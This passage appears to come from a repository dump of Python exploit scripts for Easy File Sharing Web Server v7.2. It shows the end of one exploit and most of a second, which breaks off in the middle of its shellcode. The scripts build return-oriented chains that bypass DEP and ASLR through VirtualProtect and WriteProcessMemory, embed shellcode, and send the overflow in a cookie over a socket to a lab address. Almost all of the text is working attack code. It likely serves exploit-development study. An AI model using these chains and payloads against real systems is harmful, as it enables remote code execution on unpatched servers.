117 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
118 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
119 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
120 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
121 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
122 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
123 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
124 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
125 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
126 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
127 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
128 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
129 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
130 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
131 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
132 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
133 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
134 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
135 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
136 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
137 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
138 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
139 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
140 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
141 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
142 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
143 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
144 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
145 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
146 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
147 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
148 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
149 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
150 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
151 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
152 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
153 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
154 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
155 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
156 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
157 | crash += struct.pack('<L', 0x61c09882)          # inc edx ; or cl,cl ; ret: sqlite3.dll (non-ASLR module)
158 | 
159 | # lpflOldProtect -> ECX
160 | 
161 | # Any writeable address
162 | print "[+] Setting up lpflOldProtect parameter..."
163 | crash += struct.pack('<L', 0x10018606)		# pop ecx ; ret: ImageLoad.dll (non-ASLR module)
164 | crash += struct.pack('<L', 0x61c73281)		# Writeable address in sqlite3.dll
165 | 
166 | # Fill EAX with NOPs
167 | crash += struct.pack('<L', 0x10015442)		# pop eax ; ret: ImageLoad.dll (non-ASLR module)
168 | crash += struct.pack('<L', 0x90909090)		# NOPs
169 | 
170 | # ROP NOP (ret) -> EDI
171 | 
172 | # Used to return to kernel32!VirtualProtect function call after PUSHAD
173 | crash += struct.pack('<L', 0x100194c0)		# pop edi ; ret: ImageLoad.dll (non-ASLR moduile)
174 | crash += struct.pack('<L', 0x1001f911)		# ret: ImageLoad.dll (non-ASLR module)
175 | 
176 | # PUSHAD
177 | print "[+] Pushing all kernel32!VirtualProtect parameters to the stack. Wish us luck with the function call..."
178 | crash += struct.pack('<L', 0x100240c2)		# pushad
179 | 
180 | # Arbitrary number of NOPs for shellcode padding
181 | crash += "\x90" * 64
182 | 
183 | # Payload
184 | print "[+] Call to kernel32!VirtualProtect is complete!"
185 | crash += payload
186 | 
187 | # 4063 total offset to SEH
188 | crash += "\x41" * (4063-len(crash))
189 | 
190 | # SEH only- no nSEH because of DEP
191 | # Stack pivot to return to buffer
192 | crash += struct.pack('<L', 0x10022869)		# add esp, 0x1004 ; ret: ImageLoad.dll (non-ASLR enabled module)
193 | 
194 | # 5000 total bytes for crash
195 | crash += "\x41" * (5000-len(crash))
196 | 
197 | # Replicating HTTP request to interact with the server
198 | # UserID contains the vulnerability
199 | http_request = "GET /changeuser.ghp HTTP/1.1\r\n"
200 | http_request += "Host: 172.16.55.140\r\n"
201 | http_request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
202 | http_request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
203 | http_request += "Accept-Language: en-US,en;q=0.5\r\n"
204 | http_request += "Accept-Encoding: gzip, deflate\r\n"
205 | http_request += "Referer: http://172.16.55.140/\r\n"
206 | http_request += "Cookie: SESSIONID=9349; UserID=" + crash + "; PassWD=;\r\n"
207 | http_request += "Connection: Close\r\n"
208 | http_request += "Upgrade-Insecure-Requests: 1\r\n"
209 | 
210 | print "[+] Sending exploit..."
211 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
212 | s.connect(("172.16.55.140", 80))
213 | s.send(http_request)
214 | s.close()
215 | 


--------------------------------------------------------------------------------
/ASLR Bypass + ROP/EFSWS_ASLR_and_DEP_Bypass_WriteProcessMemory.py:
--------------------------------------------------------------------------------
  1 | # Easy File Sharing Web Server v7.2 Remote Memory Corruption (SEH, ASLR, and DEP Bypass)
  2 | # kernel32!WriteProcessMemory
  3 | # .text section of sqlite3.dll dependency @ address 61C72530 is a code cave
  4 | # Author: Connor McGarr (@330yre)
  5 | # https://connormcgarr.github.io
  6 | # ROP'd this badboy by hand- sorry mona.
  7 | # In muts we trust.
  8 | import sys
  9 | import os
 10 | import socket
 11 | import struct
 12 | 
 13 | # 4063 byte SEH offset
 14 | # Stack pivot lands at padding buffer to SEH at offset 2563
 15 | crash = "\x90" * 2563
 16 | 
 17 | # Stack pivot lands here
 18 | # Beginning ROP chain
 19 | 
 20 | 
 21 | # Saving address near ESP for relative calculations into EAX and ECX
 22 | # EBP is near stack address
 23 | crash += struct.pack('<L', 0x61c05e8c)		# xchg eax, ebp ; ret: sqlite3.dll (non-ASLR enabled module)
 24 | 
 25 | # EAX is now 0xfec bytes away from ESP. We want current ESP + 0x28 (to compensate for loading EAX into ECX eventually) into EAX
 26 | # Popping negative ESP + 0x28 into ECX and subtracting from EAX
 27 | # EAX will now contain a value at ESP + 0x24 (loading ESP + 0x24 into EAX, as this value will be placed in EBP eventually. EBP will then be placed into ESP- which will compensate for ROP gadget which moves EAX into EAX via "leave")
 28 | crash += struct.pack('<L', 0x10018606)		# pop ecx, ret: ImageLoad.dll (non-ASLR enabled module)
 29 | crash += struct.pack('<L', 0xffffefe0)		# Negative ESP + 0x28 offset
 30 | crash += struct.pack('<L', 0x1001283e)		# sub eax, ecx ; ret: ImageLoad.dll (non-ASLR enabled module)
 31 | 
 32 | # This gadget is to get EBP equal to EAX (which is further down on the stack) - due to the mov eax, ecx ROP gadget that eventually will occur.
 33 | # Said ROP gadget has a "leave" instruction, which will load EBP into ESP. This ROP gadget compensates for this gadget to make sure the stack doesn't get corrupted, by just "hopping" down the stack
 34 | # EAX and ECX will now equal ESP - 8 - which is good enough in terms of needing EAX and ECX to be "values around the stack"
 35 | crash += struct.pack('<L', 0x61c30547)		# add ebp, eax ; ret sqlite3.dll (non-ASLR enabled module)
 36 | crash += struct.pack('<L', 0x61c6588d)		# mov ecx, eax ; mov eax, ecx ; add esp, 0x24 ; pop ebx ; leave ; ret: sqlite3.dll (non-ASLR enabled module)
 37 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget
 38 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget
 39 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget
 40 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget
 41 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget
 42 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget
 43 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget
 44 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget
 45 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget (pop ebx)
 46 | crash += struct.pack('<L', 0x90909090)		# Padding to compensate for above ROP gadget (pop ebp in leave instruction)
 47 | 
 48 | # Jumping over kernel32!WriteProcessMemory placeholder parameters
 49 | crash += struct.pack('<L', 0x10015eb4)		# add esp, 0x1c ; ret: ImageLoad.dll (non-ASLR enabled module)
 50 | 
 51 | # kernel32!WriteProcessMemory placeholder parameters
 52 | crash += struct.pack('<L', 0x1004d1ec)		# Pointer to kernel32!GetStartupInfoA (no pointers from IAT directly to kernel32!WriteProcessMemory, so loading pointer to kernel32.dll and compensating later.)
 53 | crash += struct.pack('<L', 0x61c72530)		# Return address parameter placeholder (where function will jump to after execution- which is where shellcode will be written to. This is an executable code cave in the .text section of sqlite3.dll)
 54 | crash += struct.pack('<L', 0xFFFFFFFF)		# hProccess = handle to current process (Psuedo handle = 0xFFFFFFFF points to current process)
 55 | crash += struct.pack('<L', 0x61c72530)		# lpBaseAddress = pointer to where shellcode will be written to. (0x61C72530 is an executable code cade in the .text seciton of sqlite3.dll) 
 56 | crash += struct.pack('<L', 0x11111111)		# lpBuffer = base address of shellcode (dynamically generated)
 57 | crash += struct.pack('<L', 0x22222222)		# nSize = size of shellcode 
 58 | crash += struct.pack('<L', 0x1004D740)		# lpNumberOfBytesWritten = writeable location (.idata section of ImageLoad.dll address in a code cave)
 59 | 
 60 | # Starting with lpBuffer (shellcode location)
 61 | # ECX currently points to lpBuffer placeholder parameter location - 0x18
 62 | # Moving ECX 8 bytes before EAX, as the gadget to overwrite dword ptr [ecx] overwrites it at an offset of ecx+0x8
 63 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 64 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 65 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 66 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 67 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 68 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 69 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 70 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 71 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 72 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 73 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 74 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 75 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 76 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 77 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 78 | crash += struct.pack('<L', 0x1001dacc)		# inc ecx ; clc ; mov edx, dword [ecx-0x04] ; ret: ImageLoad.dll (non-ASLR enabled module)
 79 | 
 80 | # Pointing EAX (shellcode location) to data inside of ECX (lpBuffer placeholder) (NOPs before shellcode)
 81 | crash += struct.pack('<L', 0x1001fce9)		# pop esi ; add esp + 0x8 ; ret: ImageLoad.dll (non-ASLR enabled module)
 82 | crash += struct.pack('<L', 0xfffffd44)		# Shellcode is about negative 0xfffffd44 bytes away from EAX
 83 | crash += struct.pack('<L', 0x90909090)		# Compensate for above ROP gadget
 84 | crash += struct.pack('<L', 0x90909090)		# Compensate for above ROP gadget
 85 | crash += struct.pack('<L', 0x10022f45)		# sub eax, esi ; pop edi ; pop esi ; ret
 86 | crash += struct.pack('<L', 0x90909090)		# Compensate for above ROP gadget
 87 | crash += struct.pack('<L', 0x90909090)		# Compensate for above ROP gadget
 88 | 
 89 | # Changing lpBuffer placeholder to actual address of shellcode
 90 | crash += struct.pack('<L', 0x10021bfb)		# mov dword [ecx+0x8], eax ; ret: ImageLoad.dll (non-ASLR enabled module)
 91 | 
 92 | # nSize parameter (0x180 = 384 bytes)
 93 | crash += struct.pack('<L', 0x100103ff)		# pop edi ; ret: ImageLoad.dll (non-ASLR enabled module) (Compensation for COP gadget add edx, 0x20)
 94 | crash += struct.pack('<L', 0x1001c31e)		# add esp, 0x8 ; ret: ImageLoadl.dll (non-ASLR enabled module) (Returns to stack after COP gadget)
 95 | crash += struct.pack('<L', 0x10022c4c)		# xor edx, edx ; ret: ImageLoad.dll (non-ASLR enabled module)
 96 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
 97 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
 98 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
 99 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
100 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
101 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
102 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
103 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
104 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
105 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
106 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
107 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
108 | 
109 | # Incrementing ECX to place the nSize parameter placeholder into ECX
110 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
111 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
112 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
113 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
114 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
115 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
116 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
117 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
118 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
119 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
120 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
121 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
122 | 
123 | # Pointing nSize parameter placeholder to actual value of 0x180 (in EDX)
124 | crash += struct.pack('<L', 0x1001f5b4)		# mov dword ptr [ecx], edx
125 | 
126 | # ECX currently is located at kernel32!WriteProcessMemory parameter placeholder - 0x8
127 | # Need to first extract sqlite3.dll pointer (which is a pointer to kernel32) and then calculate offset from kernel32!GetStartupInfoA
128 | 
129 | # ECX = kernel32!WriteProcessMemory parameter placeholder + 0x14 (20)
130 | # Decrementing ECX by 0x14 firstly (parameter is 0xc bytes in front of ECX. Subtracting ECX by 0xC to place placeholder in ECX. Additionally, the overwrite gadget writes to ECX at an offset of ECX+0x8. Adding 0x8 more bytes to compensate.)
131 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
132 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
133 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
134 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
135 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
136 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
137 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
138 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
139 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
140 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
141 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
142 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
143 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
144 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
145 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
146 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
147 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
148 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
149 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
150 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
151 | 
152 | # Extracting pointer to kernel32.dll into EAX
153 | 
154 | # EDX contains a value of 0x180 from nSize parameter
155 | # EDI still contains return to stack ROP gadget for COP gadget compensation
156 | # EAX is 0x260 bytes ahead of the kernel32!WriteProcessMemory parameter placeholder
157 | # Subtracting 0x260 from EAX via EDX register
158 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
159 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
160 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
161 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
162 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
163 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
164 | crash += struct.pack('<L', 0x1001b884)		# add edx, 0x20 ; push edx ; call edi: ImageLoad.dll (non-ASLR enabled module) (COP gadget)
165 | 
166 | # Loading kernel32!WriteProcessMemory parameter placeholder location into EAX to be dereferenced
167 | crash += struct.pack('<L', 0x10015ce5)		# sub eax, edx ; ret: ImageLoad.dll (non-ASLR enabled module)
168 | 
169 | # Extracting kernel32!WriteProcessMemory parameter placeholder
170 | 
171 | crash += struct.pack('<L', 0x1002248c)		# mov eax, dword [eax] ; ret: ImageLoad.dll (non-ASLR enabled module)
172 | crash += struct.pack('<L', 0x1002248c)		# mov eax, dword [eax] ; ret: ImageLoad.dll (non-ASLR enabled module)
173 | 
174 | # kernel32!WriteProcessMemory is negative fffffd2d bytes away from kernel32!GetStartupInfoA (which is in the virtual parameter placeholder currently)
175 | # Popping 0xfffffd2d into EBX (which will be transferred into EDX. After value is in EDX, it will be added to EAX via EDX)
176 | 
177 | # Preparing EDX by clearing it out
178 | crash += struct.pack('<L', 0x10022c4c)		# xor edx, edx ; ret: ImageLoad.dll (non-ASLR enabled module)
179 | 
180 | # Beginning calculations for EBX
181 | crash += struct.pack('<L', 0x100141c8)		# pop ebx ; ret: ImageLoad.dll (non-ASLR enabled module)
182 | crash += struct.pack('<L', 0xfffffd2d)		# Negative distance to kernel32!WriteProcessMemory from kernel32!GetStartupInfoA
183 | 
184 | # Transferring EBX to EDX
185 | crash += struct.pack('<L', 0x10022c1e)		# add edx, ebx ; pop ebx ; retn 0x10: ImageLoad.dll (non-ASLR enabled module)
186 | crash += struct.pack('<L', 0x90909090)		# Compensating for above ROP gadget
187 | 
188 | # Placing kernel32!WriteProcessMemory into EAX
189 | crash += struct.pack('<L', 0x10015ce5)		# sub eax, edx ; ret: ImageLoad.dll (non-ASLR enabled module)
190 | 
191 | # ROP gadget compensations
192 | crash += struct.pack('<L', 0x90909090)		# Compensation for retn 0x10 in previous ROP gadget
193 | crash += struct.pack('<L', 0x90909090)		# Compensation for retn 0x10 in previous ROP gadget
194 | crash += struct.pack('<L', 0x90909090)		# Compensation for retn 0x10 in previous ROP gadget
195 | crash += struct.pack('<L', 0x90909090)		# Compensation for retn 0x10 in previous ROP gadget
196 | 
197 | # Writing kernel32!WriteProcessMemory address to kernel32!WriteProcessMemory parameter placeholder
198 | 
199 | # Gadget to overwrite kernel32!VirtualParameter placeholder will do so at an offset of ECX + 0x8. Compensating for that now
200 | # First, decrementing ECX by 0x8
201 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
202 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
203 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
204 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
205 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
206 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
207 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
208 | crash += struct.pack('<L', 0x61c27d1b)		# dec ecx ; ret: sqlite3.dll (non-ASLR enabled module)
209 | 
210 | # Overwriting kernel32!WriteProcessMemory parameter placeholder with actual address of kernel32!WriteProcessMemory
211 | crash += struct.pack('<L', 0x10021bfb)		# mov dword [ecx+0x8], eax ; ret: ImageLoad.dll (non-ASLR enabled module)
212 | 
213 | # The goal now is to load the address pointing to kernel32!WriteProcessMemory in ESP
214 | # ECX contains an address + 0x8 bytes behind the kernel32!WriteProcessMemory pointer on the stack
215 | # Increasing ECX by 8 bytes, moving it into EAX, and then exchanging EAX with ESP to fire off the ROP chain!
216 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
217 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
218 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
219 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
220 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
221 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
222 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
223 | crash += struct.pack('<L', 0x61c68081)		# inc ecx ; add al, 0x39 ; ret: ImageLoad.dll (non-ASLR enabled module)
224 | 
225 | # Moving ECX into EAX
226 | crash += struct.pack('<L', 0x1001fa0d)		# mov eax, ecx ; ret: ImageLoad.dll (non-ASLR enabled module)
227 | 
228 | # Exchanging EAX with ESP to fire off the call to kernel32!WriteProcessMemory
229 | crash += struct.pack('<L', 0x61c07ff8)		# xchg eax, esp ; ret: sqlite3.dll (non-ASLR enabled module)
230 | 
231 | 
232 | # NOPs before shellcode
233 | crash += "\x90" * 230
234 | 
235 | # calc.exe
236 | # 195 bytes
237 | 
238 | crash += ("\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
239 | "\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
240 | "\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
